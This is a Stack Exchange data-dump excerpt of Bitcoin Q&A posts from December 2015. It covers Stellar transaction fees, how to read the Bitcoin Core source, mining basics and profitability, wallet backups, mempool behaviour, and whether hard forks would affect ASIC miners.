  <row Id="41690" PostTypeId="2" ParentId="41678" CreationDate="2015-12-07T19:29:48.233" Score="2" Body="&lt;p&gt;(Full disclosure:  I work for Stellar.org)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not quite sure what you mean by &quot;We also are based on the lets system with equal positive and negative balances.&quot;, so I cannot comment on how that effects Stellar's viability for your problem, but I can talk about the transaction fee you would require.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of now (December 2015), the stellar network itself only has support for the native transaction fees used for spam prevention.  This means that you would have to implement your own support for transaction fees.  Let me describe how one such system might work on the stellar network:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the stellar network doesn't have support for collecting a transaction fee at the time of payment, you must instead collect transaction fees after the fact.  Members of this system would be invoiced by you with their billed fees, and they would pay to keep their account in good standing.  When an account is not in good standing, your system would revoke access to your currency (see &quot;Controlling asset holders&quot; at &lt;a href=&quot;https://www.stellar.org/developers/learn/concepts/assets.html&quot; rel=&quot;nofollow&quot;&gt;https://www.stellar.org/developers/learn/concepts/assets.html&lt;/a&gt; for details) that would prevent the account from making or receiving payments in your currency until you restore access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, such a system is definitely more complicated than if the stellar network handled custom transaction fees natively, but our intention is to keep the core stellar network as simple as possible, and one of the features that got chopped was support for asset-based transaction fees.  Luckily, this is a great opportunity for a group of developers to build a helper service to support this use case.  Tracking payments on the stellar network and managing an account's standing based upon a set of customizable business rules seems like a generically useful tool to have available for developers and could benefit a large range of use cases, from custom currencies to e-commerce systems, to even something crazy like a stellar-funded metered power grid.  I'd be happy to discuss such a solution further if you're interested.&lt;/p&gt;&#xA;" OwnerUserId="31031" LastActivityDate="2015-12-07T19:29:48.233" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41691" PostTypeId="2" ParentId="41689" CreationDate="2015-12-07T19:44:48.003" Score="2" Body="&lt;p&gt;Edit: CampBX is shutting down so this is no longer applicable.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;&lt;a href=&quot;http://campbx.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;CampBX&lt;/a&gt; will accept deposits via mailed money order.  A money order from the US Postal Service costs about $1.50, up to an amount of $1000, plus the postage to mail it to the exchange.  You can buy a money order with cash, in which case no bank information is ever needed. The exchange then charges a commission of 0.55% on each trade.&lt;/s&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're unlikely to find lower fees for buying with credit card.  The fees charged to the exchange by the credit card companies are substantial and have to be covered somehow.  Moreover, credit cards present a substantial risk of fraud to the exchange.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2017-10-18T19:22:15.250" LastActivityDate="2017-10-18T19:22:15.250" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41692" PostTypeId="1" AcceptedAnswerId="85078" CreationDate="2015-12-07T21:47:06.980" Score="36" ViewCount="53935" Body="&lt;p&gt;I am not a C++ pro. I read C++ as a part of my undergrad school course. I am very passionate about the future currency i.e. Bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't understand the source code structure. How to read the source code? As I already told I am have very basic knowledge of C++. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can google on the way if don't understand something(functions, libraries, headers). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual problem I am facing is inside &lt;code&gt;src/&lt;/code&gt; directory. I don't understand the flow of files and directories in &lt;code&gt;src/&lt;/code&gt;. Which is the first file that I should probably start reading. Can any one explain me all of flow of all the project in some sort of tree like structure? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/GitHub/bitcoin/src&#xA;❯ ls                                                                   ✔ master&#xA;Makefile.am     coincontrol.h       miner.h         script&#xA;Makefile.bench.include  coins.cpp       net.cpp         secp256k1&#xA;Makefile.qt.include coins.h         net.h           serialize.h&#xA;Makefile.qttest.include compat          netbase.cpp     streams.h&#xA;Makefile.test.include   compat.h        netbase.h       support&#xA;addrman.cpp     compressor.cpp      noui.cpp        sync.cpp&#xA;addrman.h       compressor.h        noui.h          sync.h&#xA;alert.cpp       config          obj         test&#xA;alert.h         consensus       obj-test        threadsafety.h&#xA;amount.cpp      core_io.h       policy          timedata.cpp&#xA;amount.h        core_memusage.h     pow.cpp         timedata.h&#xA;arith_uint256.cpp   core_read.cpp       pow.h           tinyformat.h&#xA;arith_uint256.h     core_write.cpp      prevector.h     torcontrol.cpp&#xA;base58.cpp      crypto          primitives      torcontrol.h&#xA;base58.h        dbwrapper.cpp       protocol.cpp        txdb.cpp&#xA;bench           dbwrapper.h     protocol.h      txdb.h&#xA;bitcoin-cli-res.rc  hash.cpp        pubkey.cpp      txmempool.cpp&#xA;bitcoin-cli.cpp     hash.h          pubkey.h        txmempool.h&#xA;bitcoin-tx-res.rc   httprpc.cpp     qt          ui_interface.h&#xA;bitcoin-tx.cpp      httprpc.h       random.cpp      uint256.cpp&#xA;bitcoind-res.rc     httpserver.cpp      random.h        uint256.h&#xA;bitcoind.cpp        httpserver.h        rest.cpp        undo.h&#xA;bloom.cpp       init.cpp        reverselock.h       univalue&#xA;bloom.h         init.h          rpcblockchain.cpp   util.cpp&#xA;chain.cpp       key.cpp         rpcclient.cpp       util.h&#xA;chain.h         key.h           rpcclient.h     utilmoneystr.cpp&#xA;chainparams.cpp     keystore.cpp        rpcmining.cpp       utilmoneystr.h&#xA;chainparams.h       keystore.h      rpcmisc.cpp     utilstrencodings.cpp&#xA;chainparamsbase.cpp leveldb         rpcnet.cpp      utilstrencodings.h&#xA;chainparamsbase.h   limitedmap.h        rpcprotocol.cpp     utiltime.cpp&#xA;chainparamsseeds.h  main.cpp        rpcprotocol.h       utiltime.h&#xA;checkpoints.cpp     main.h          rpcrawtransaction.cpp   validationinterface.cpp&#xA;checkpoints.h       memusage.h      rpcserver.cpp       validationinterface.h&#xA;checkqueue.h        merkleblock.cpp     rpcserver.h     version.h&#xA;clientversion.cpp   merkleblock.h       scheduler.cpp       wallet&#xA;clientversion.h     miner.cpp       scheduler.h     zmq&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30977" LastEditorUserId="101040" LastEditDate="2023-05-03T15:39:44.167" LastActivityDate="2023-05-03T15:39:44.167" Title="How to understand Bitcoin source code" Tags="|bitcoin-core-development|c++|open-source|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41693" PostTypeId="1" CreationDate="2015-12-07T22:45:03.363" Score="1" ViewCount="175" Body="&lt;p&gt;I'm interested in learning more about how bitcoin, mining, and blockchain technology work. I'm a student and don't have a strong background in computing, and I'm looking for a layman's explanation of a few basic, yet critical questions surrounding the currency and the technology behind it. I plan on sharing the results with other interested students who want to understand more about this important concept. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Miners receive 25 Bitcoins every time they create a hash (is this accurate?)- where do the coins they receive come from - are they fabricated or do they already exist somewhere? What I'm trying to understand is how the supply of currency changes - are there a fixed number of Bitcoins in existence, or is currency simply &quot;created&quot; whenever a miner updates the blockchain? As time goes on, will the money supply expand at some rate roughly equal to the growth in transactions - is this kind of like how the supply of fiat money in most economies has grown over time?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a single blockchain for Bitcoin, which contains a record of all the transactions made since the first transaction? If so, does that mean that the chain will just keep getting longer and longer as more transactions are recorded? If Bitcoin increases in usage and popularity, won't the blockchain continue to grow (maybe exponentially) and will that add to the complexity of the miner's task?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This may be too complex to explain to an average person like me, but how do transactions actually get coded/added to the blockchain? I know that it requires brute force computing power and is based off of cryptography, but that's really the extent of my knowledge... If I wish to transfer 100 coins to my friend, that simple transaction must be captured somehow and translated into the chain - but how is this translation performed? Is there a constantly-changing key that has to be iteratively solved for by the miners? If a person were to &quot;look&quot; at the blockchain (I assume this is possible) - what would it look like, just a seemingly random collection of characters? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'll stop there, as I'm sure there aren't simple answers to these questions and I'm sure I've misused/misinterpreted terminology and how these things actually work. Many thanks to all who read my question, and special thanks to anyone who is willing to answer one or more of my questions. If there is a better forum for me to post beginner's questions like the ones above, I'd certainly like to know that as well.&lt;/p&gt;&#xA;" OwnerUserId="31035" LastEditorUserId="18196" LastEditDate="2016-03-06T19:07:24.317" LastActivityDate="2016-03-06T19:07:24.317" Title="Beginner's Explanation" Tags="|transactions|mining-theory|" AnswerCount="2" CommentCount="8" ClosedDate="2015-12-08T17:58:48.037" ContentLicense="CC BY-SA 3.0" />
  <row Id="41694" PostTypeId="2" ParentId="41693" CreationDate="2015-12-07T23:16:05.727" Score="2" Body="&lt;p&gt;I would recommend reading &lt;a href=&quot;http://amzn.com/1449374042&quot; rel=&quot;nofollow&quot;&gt;'Mastering Bitcoin: Unlocking Digital Cryptocurrencies'&lt;/a&gt;, by Andreas M. Antonopoulos.  This book answers all of the questions that you posed, and more, in a very understandable way.&lt;/p&gt;&#xA;" OwnerUserId="30884" LastActivityDate="2015-12-07T23:16:05.727" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41695" PostTypeId="1" CreationDate="2015-12-07T23:28:16.913" Score="1" ViewCount="137" Body="&lt;p&gt;I just installed Multibit HD, did a few transactions, and I already have 15 .zip.aes backup files?  Do I have to keep all of these forever, or only the most recent one?&lt;/p&gt;&#xA;" OwnerUserId="31036" LastActivityDate="2015-12-08T11:43:39.283" Title="which cloud backup files do I need to keep" Tags="|multibit-hd|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41697" PostTypeId="2" ParentId="41681" CreationDate="2015-12-08T05:45:02.470" Score="2" Body="&lt;p&gt;You will need a Bitcoin wallet to store your coins. Check out &lt;a href=&quot;https://www.bitcoin.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitcoin.com/&lt;/a&gt; for some options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you set up a wallet you will get an address where you can store coins. &lt;em&gt;(The address will be a long string of letters and numbers but you will also get a QR code, which is basically the same address but in a form you can scan)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you then find an ATM you can insert cash, scan your QR code at the machine and you will get the coins sent to your wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's basically the process of how ATM's work.&lt;/p&gt;&#xA;" OwnerUserId="28157" LastActivityDate="2015-12-08T05:45:02.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41698" PostTypeId="2" ParentId="41692" CreationDate="2015-12-08T05:53:24.707" Score="32" Body="&lt;p&gt;I'm in my final year of college and I remember being in your exact situation 2 years ago. In my view you can adopt 2 strategies at this stage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to understand the protocol first, and reading &lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;noreferrer&quot;&gt;Satoshi's orginal paper&lt;/a&gt;, or any of the easier options is essential. It also helps a lot to understand the conceptual differences between bitcoin and other currencies like Ripple and Peercoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your intention is to learn as much about the bitcoin implementation as possible, I would suggest you give up on bitcoin-core and shift to one of the python implementations. Now, there are a few quirks about the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/41682/a-complete-bitcoin-implementation-in-python&quot;&gt;python implementations&lt;/a&gt;, but your learning would be much faster and you'd be in a much better position to understand the cpp code later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to stick to bitcoin-core, and are willing to tolerate a steep learning curve, there are still a few resources to sweeten it. You need to understand that it's not just cpp that you need to master to understand bitcoin core, but a lot of the &lt;a href=&quot;https://en.wikipedia.org/wiki/GNU_build_system&quot; rel=&quot;noreferrer&quot;&gt;GNU build system, the makes and the autoconfs and such stuff&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to help you understand the structure of the code in src, &lt;a href=&quot;https://dev.visucore.com/bitcoin/doxygen/inherits.html&quot; rel=&quot;noreferrer&quot;&gt;you could check this out&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit (7:7:2016):A lot of the new discussions in the bitcoin:core world, revolves around the CPP language itself. CPP itself undergoes considerable change every 4 years and there are many discussions around which CPP language features can be implemented/ incorporated into bitcoin-core. So it is required that you have a thorough understanding of CPP along with new language features that keep getting added, and their relations to the previous features.&lt;/p&gt;&#xA;" OwnerUserId="17079" LastEditorUserId="17079" LastEditDate="2018-05-22T16:44:00.073" LastActivityDate="2018-05-22T16:44:00.073" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="41702" PostTypeId="2" ParentId="41695" CreationDate="2015-12-08T11:43:39.283" Score="1" Body="&lt;p&gt;I think you want to take a look at the &lt;a href=&quot;https://multibit.org/en/help/hd0.1/backups.html&quot; rel=&quot;nofollow&quot;&gt;Backups help page on multibit.org&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't say for certain (as the wording is a tiny bit vague here), but I am pretty sure that each of these are what they're referring to as &quot;rolling backups&quot; which &quot;encrypt a snapshot of the current wallet&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's true, then each one of these contains the previous ones, so you would only need to keep the most recent one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, if MultiBit is doing it's job right (and I suspect it is), your seed phrase (what MB calls &quot;wallet words&quot;) should be enough to recover your wallet no matter what. To quote them, &quot;You can always recover your bitcoin through your wallet words (seed phrase).&quot;&lt;/p&gt;&#xA;" OwnerUserId="30591" LastActivityDate="2015-12-08T11:43:39.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41703" PostTypeId="2" ParentId="41661" CreationDate="2015-12-08T11:47:38.770" Score="0" Body="&lt;p&gt;Are you running the miner as root? Do the devices show up when you run &lt;code&gt;lsusb&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience, your user doesn't have access to the buses to talk to the devices, but putting &lt;code&gt;sudo&lt;/code&gt; at the start (running as root) let me see and talk to my devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm using cgminer compiled from source for LTC mining rather than BTC, but the principle should be the same.)&lt;/p&gt;&#xA;" OwnerUserId="30591" LastActivityDate="2015-12-08T11:47:38.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41704" PostTypeId="2" ParentId="40732" CreationDate="2015-12-08T12:20:30.080" Score="2" Body="&lt;p&gt;The general idea here is that the blockchain provides some (really cool) new building blocks for us to play with:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Once something is accepted into the chain and has N confirmations (typically 3+, sometimes 6+), it's extraordinarily unlikely to be deemed invalid.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &amp;quot;policy&amp;quot; for the validity of a block is codified.&lt;/p&gt;&#xA;&lt;p&gt;It's still determined by people (which is the hullabaloo about BitcoinXT and block size being debated now in Hong Kong) but it's a world of &amp;quot;one-CPU one-vote&amp;quot;, meaning if the majority of mining power agrees that these are the rules, then those are the rules and they'll continue mining.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Bitcoin itself is just one particular use of this idea of &amp;quot;a chain of blocks&amp;quot; proving that a certain amount of hard work was done to get to that state.&lt;/p&gt;&#xA;&lt;p&gt;Altcoins (as mentioned in a comment above) are just modifications of BTC, changing some parameters and the name, which is interesting, but unlikely to be as &amp;quot;mainstream&amp;quot; for the simple fact that most people with money in Bitcoin don't fully understand cryptocurrency in general. Some of these do really novel things (ie, Nu, which splits &amp;quot;currency&amp;quot; into one part used for investing and another used for transacting), but AFAIK they're not mainstream yet.&lt;/p&gt;&#xA;&lt;p&gt;Back to Bitcoin and banks...&lt;/p&gt;&#xA;&lt;p&gt;Bitcoin effectively allows everyone to act as their own bank. This is really cool (I was amazed when I could &amp;quot;send transactions&amp;quot; and see them show up on another computer without a central authority...), but it comes with it's own drawbacks like... if your wallet is stolen, there's no one to call and yell at (see &lt;a href=&quot;https://bitcointalk.org/index.php?topic=83794.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=83794.0&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Banks want a way to &amp;quot;be their own banks (in the modern way BTC does)&amp;quot; because right now they're centralized and rely on a lot of trust. This means that transactions are slow (ACH is super slow compared to the BTC block time) and can be reversed if enough people make a stink (see &lt;a href=&quot;https://www.quora.com/If-my-bank-mistakenly-deposits-1-000-000-into-my-account-am-I-legally-allowed-to-spend-it-before-they-realize-their-mistake&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.quora.com/If-my-bank-mistakenly-deposits-1-000-000-into-my-account-am-I-legally-allowed-to-spend-it-before-they-realize-their-mistake&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;When banks talk about using the concept of a block chain, I don't think they're really thinking about currency in the way we think of USD, but rather a &amp;quot;better way to handle trading in an open and untrusted system&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;In other words, banks are saying &amp;quot;We want a way to not trust each other, and still clear trades quickly and efficiently.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;For example, I agree to trade you 1 share of GOOG for $700 USD, and I want that to happen quickly, reliably, irrevocably, and without me knowing or trusting you. Sounds kind of like a Bitcoin transaction, right?&lt;/p&gt;&#xA;&lt;p&gt;Bitcoin is one way to do it, but that would mean the same currency you use to settle trades is the one you use to buy a cup of coffee -- which can cause issues. If banks just create their own currency that's used exclusively for trading, it's just an Altcoin with a very special purpose and very big backers.&lt;/p&gt;&#xA;&lt;p&gt;That (I believe) is what SETLcoin (Goldman's idea) does (&lt;a href=&quot;http://www.americanbanker.com/news/bank-technology/goldman-sachs-files-patent-for-cryptocurrency-system-setlcoin-1078153-1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.americanbanker.com/news/bank-technology/goldman-sachs-files-patent-for-cryptocurrency-system-setlcoin-1078153-1.html&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="30591" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-12-08T12:20:30.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41705" PostTypeId="1" CreationDate="2015-12-08T12:34:25.643" Score="1" ViewCount="100" Body="&lt;p&gt;I am running &lt;code&gt;bitcoinqt&lt;/code&gt; and checking for new transaction for payments I made using &lt;code&gt;getrawmempool&lt;/code&gt;. Payments were made NOT from/to the mentioned &lt;code&gt;bitcoinqt&lt;/code&gt; wallet address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I see some my unconfirmed transactions never come to &lt;code&gt;getrawmempool&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it expected result or I am doing something wrong?&lt;/p&gt;&#xA;" OwnerUserId="7106" LastEditorUserId="83779" LastEditDate="2015-12-08T13:33:28.163" LastActivityDate="2015-12-08T15:15:22.537" Title="Bitcoin core does not have all unconfirmed transactions" Tags="|bitcoin-core|bitcoin-core-development|bitcoin-qt-setup|getmemorypool|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="41706" PostTypeId="2" ParentId="41693" CreationDate="2015-12-08T12:53:26.787" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;They are generated every 10 minutes and sent to the pool that have won and cyphered the lastest block.&lt;/li&gt;&#xA;&lt;li&gt;Yes&lt;/li&gt;&#xA;&lt;li&gt;There's a &quot;public key cryptography&quot; (not a native english speaker) mechanism involved&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2015-12-08T12:53:26.787" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41707" PostTypeId="2" ParentId="40432" CreationDate="2015-12-08T13:03:21.270" Score="-1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Your custom solution using language specific library (for example NBitcoin for C#).&lt;/li&gt;&#xA;&lt;li&gt;Your custom solution using bitoind and JSON-RPC communication protocol.&lt;/li&gt;&#xA;&lt;li&gt;Integration with Bitcoin payments processor - this is the simplest but your money are kept and managed by foregin company for some time and probably you have to pay for the service.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="83779" LastEditorUserId="83779" LastEditDate="2015-12-10T07:55:45.950" LastActivityDate="2015-12-10T07:55:45.950" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41708" PostTypeId="1" CreationDate="2015-12-08T13:27:23.323" Score="0" ViewCount="79" Body="&lt;p&gt;I'm a student and a beginner interested in learning about Bitcoin. I am not interested in attempting to mine at this time, but I would like to know more about how it works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per my understanding, adding to the blockchain requires brute-force computing. I know some amateurs attempt to mine with relatively simple setups, spending maybe a few thousand dollars to get the necessary equipment. I also know that others spend significantly more to create complex setups that, all else equal, I would assume are much more effective. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally speaking, what are some estimates for what people might spend to get set up to mine bitcoins? Given what people might spend, what might they expect to earn in a year if constantly mining? What I'm most interested in knowing, for context, is what type of an &quot;investment yield&quot; does the average miner generate? For example, if I spent $5 on equipment and earned $25 in a year, my return would be 20%. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your thoughts!&lt;/p&gt;&#xA;" OwnerUserId="31035" LastEditorUserId="2306" LastEditDate="2016-02-05T17:58:42.770" LastActivityDate="2016-02-05T17:58:42.770" Title="What are cash outlays &amp; expected inflows for an individual miner?" Tags="|mining-profitability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41709" PostTypeId="2" ParentId="41708" CreationDate="2015-12-08T15:09:55.373" Score="2" Body="&lt;p&gt;There are a bunch of mining profitability calculators &lt;a href=&quot;https://en.bitcoin.it/wiki/Profitability_Calculator&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. You just need to fill in how much you're going to spend on the equipment, what sort of hash rate you get from the equipment, how much you pay for electricity and what you think bitcoin will be worth and it'll tell you. These are all highly dependent on what you buy, how much of it you buy, where in the world you are and what bitcoin price will be. Investment yields will differ based on those factors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An ASIC machine manufactured 2 years ago in Paris is going to be much less profitable (or basically lose lots of money) vs. getting a bulk discount on the latest ASICs in Iceland.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this is a question that gets &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/485/how-can-i-compute-mining-profitability?s=1%7C2.2861&quot;&gt;asked&lt;/a&gt; &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/118/how-much-bitcoin-will-i-mine-right-now-with-hardware-x&quot;&gt;quite&lt;/a&gt; &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/485/how-can-i-compute-mining-profitability/488?s=11%7C0.6607#488&quot;&gt;often&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-12-08T15:09:55.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41710" PostTypeId="2" ParentId="41705" CreationDate="2015-12-08T15:15:22.537" Score="2" Body="&lt;p&gt;In general, mempools are not guaranteed to be the same node-to-node. The behavior of the reference client is that &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/9afbd96919afd1f773e4c2633b0cfd6068e2b228/src/policy/policy.h#L29&quot; rel=&quot;nofollow&quot;&gt;once mempools reach 300MB&lt;/a&gt;, the lowest fee tx's &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/6722&quot; rel=&quot;nofollow&quot;&gt;are thrown away&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible your node has reached this limit (either because it's 300MB or because your default is much lower) or simply because you're connected to nodes that have the same limitation.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-12-08T15:15:22.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41711" PostTypeId="1" AcceptedAnswerId="41718" CreationDate="2015-12-08T15:40:52.367" Score="2" ViewCount="264" Body="&lt;p&gt;I am trying to withdraw Ethers from Cryptsy to geth account. Cryptsy says address, where I enter my account id, is invalid. Do I need to create a separate addresses besides running &lt;code&gt;geth account new&lt;/code&gt; to create a new account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fjYOG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fjYOG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Gd6PZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gd6PZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="5464" LastEditDate="2015-12-08T20:39:39.513" LastActivityDate="2016-02-12T13:16:09.173" Title="Withdrawing Ether from Cryptsy to geth" Tags="|ethereum|cryptsy|" AnswerCount="1" CommentCount="1" ClosedDate="2020-04-25T21:35:27.117" ContentLicense="CC BY-SA 3.0" />
  <row Id="41712" PostTypeId="1" CreationDate="2015-12-08T16:01:52.303" Score="2" ViewCount="131" Body="&lt;p&gt;I'm having a look at the price history of Bitcoin/USD, and there's a significant spike around the end of 2013 (to USD 1137), followed by a very volatile year in 2014 that ended with Bitcoin around USD 330. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyone who's followed Bitcoin since 2013 who can comment on this volatile price action? In particular, I'm interested to know: what caused the dramatic run up to USD ~1140 at the end of 2013, and why has the price come down to current levels?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="31035" LastEditorUserId="5406" LastEditDate="2015-12-08T19:00:52.457" LastActivityDate="2015-12-09T23:09:16.850" Title="What explanations are there for the bubble of 2013 and subsequent Bitcoin price in 2014?" Tags="|mtgox|exchange-rate|history|news-coverage|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41713" PostTypeId="1" CreationDate="2015-12-08T16:13:42.347" Score="2" ViewCount="225" Body="&lt;p&gt;From what little I know about ASIC they are not flexible with regard to the tasks that they can execute. Some of the proposals for scaling bitcoin up require hard forks in the blockchain. I read about one proposal about replacing the ECSDA signing algo with Schnorr that made me think of this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if any of these hard forks would actually mean that some or all current ASIC miners are rendered incompatible and worthless? This would of course have an impact upon which solutions are likely to go forward. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expect it depends on the design on the chip, if only the core hashing power is offloaded to the ASIC but everything else is done on a more general CPU. Are most of them designed like this?&lt;/p&gt;&#xA;" OwnerUserId="136" LastActivityDate="2015-12-08T19:22:25.127" Title="What if any proposed blockchain enhancements that require hard forks would require new ASIC hardware?" Tags="|asic|scalability|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41714" PostTypeId="2" ParentId="41713" CreationDate="2015-12-08T17:09:39.567" Score="3" Body="&lt;p&gt;I don't think many hardforks would make ASICs obsolete. Developers would surely want to avoid that, and will always have a way to avoid it. Unless they have a reason to make all ASICs obsolete on purpose (extreme mis-behaviour by miners could theoretically cause that). In that case they could chose a different mining algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ASIC simply gets fed the prepared header of a block and all it does is run hashes on it while increasing the nonce (32 bits) and possibly a few other bits (in the timestamp field) in case the nonce is too small. So only those bits that it actually touches could possibly cause the block to become invalid. It's highly unlikely that the developers would ever change the meaning of those bits in such a way that it would become more restrictive and cause the found blocks to become invalid under the new rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hypothetically I guess one example could be where the developers decide to restrict the allowed error margin of timestamps in headers. Currently a block is allowed to have a smaller (older) timestamp than the previous block (up to two hours if I'm not mistaken). Suppose the developers decide that from now on it can only vary by 20 minutes. If the ASIC is happily incrementing the enough of the last bits of the timestamp field it could make it exceed that margin, making the block invalid under the new rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess ASIC manufacturers need to be a little bit careful, or make the ASICs flexible enough so that they can be told which bits to touch. Although I guess the above example might be a reason for the developers to never improve the timestamp accuracy (at least not in the straightforward way).&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2015-12-08T19:16:27.880" LastActivityDate="2015-12-08T19:16:27.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
